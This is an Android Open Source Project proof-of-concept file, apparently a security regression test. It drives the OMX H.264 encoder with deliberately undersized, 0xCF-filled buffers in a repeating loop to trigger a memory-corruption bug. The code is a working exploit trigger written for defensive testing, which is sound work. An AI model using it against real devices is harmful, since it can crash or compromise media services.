blob: 8a6f8433fff0f5ee5ba2ae14311c56c32bd230f9 [file] [log] [blame]
/**
* Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "stdlib.h"
#include "../includes/common.h"
//This PoC is only for 32-bit builds.
#if _32_BIT
#include "../includes/omxUtils.h"
#include <unistd.h>
#include <hidlmemory/mapping.h>
extern bool mUseTreble;
sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
void exit_handler(void) {
omxUtilsFreeNode();
}
int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
int BufferSize) {
buffers->clear();
OMX_PARAM_PORTDEFINITIONTYPE def;
int err = omxUtilsGetParameter(portIndex, &def);
omxExitOnError(err);
for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
Buffer buffer;
buffer.mFlags = 0;
bool success;
auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
bool s,
hidl_memory const& m) {
success = s;
buffer.mHidlMemory = m;
});
omxExitOnError(!transStatus.isOk());
omxExitOnError(!success);
buffers->push(buffer);
}
return OK;
}
void poc() {
int i;
Vector < Buffer > inputBuffers;
Vector < Buffer > outputBuffers;
status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
omxExitOnError(err);
atexit(exit_handler);
OMX_PARAM_PORTDEFINITIONTYPE def;
omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
int inBufferCnt = def.nBufferCountActual;
int inBufferSize = inMemSize / inBufferCnt;
sp <MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
int outMemSize = def.nBufferCountActual * def.nBufferSize;
int outBufferCnt = def.nBufferCountActual;
int outBufferSize = outMemSize / outBufferCnt;
sp <MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
if (mUseTreble) {
allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
for (i = 0; i < inBufferCnt; ++i) {
inBufferId[i] = inputBuffers[i].mID;
sp <android::hidl::memory::V1_0::IMemory> mem = mapMemory(
inputBuffers[i].mHidlMemory);
memset((void *) mem->getPointer(), 0xCF, inBufferSize);
omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
}
} else {
for (i = 0; i < inBufferCnt; ++i) {
sp <IMemory> memory = dealerIn->allocate(inBufferSize);
memset(memory->pointer(), 0xCF, inBufferSize);
OMXBuffer omxBuf(memory);
omxUtilsUseBuffer(OMX_UTILS_IP_PORT, omxBuf, &inBufferId[i]);
}
}
if (mUseTreble) {
allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers,
outBufferSize);
for (i = 0; i < outBufferCnt; ++i) {
outBufferId[i] = outputBuffers[i].mID;
omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
}
} else {
for (i = 0; i < outBufferCnt; ++i) {
sp <IMemory> memory = dealerOut->allocate(outBufferSize);
OMXBuffer omxBuf(memory);
omxUtilsUseBuffer(OMX_UTILS_OP_PORT, omxBuf, &outBufferId[i]);
}
}
omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
for (i = 0; i < inBufferCnt; ++i) {
OMXBuffer omxBuf(0, inBufferSize);
omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
}
for (i = 0; i < outBufferCnt; ++i) {
OMXBuffer omxBuf(0, outBufferSize);
omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
}
omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
for (i = 0; i < inBufferCnt; ++i) {
omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
}
for (i = 0; i < outBufferCnt; ++i) {
omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
}
omxUtilsFreeNode();
return;
}
#endif
int main() {
//This PoC is only for 32-bit builds.
#if _32_BIT
time_t currentTime = start_timer();
while(timer_active(currentTime)) {
poc();
}
#endif
return EXIT_SUCCESS;
}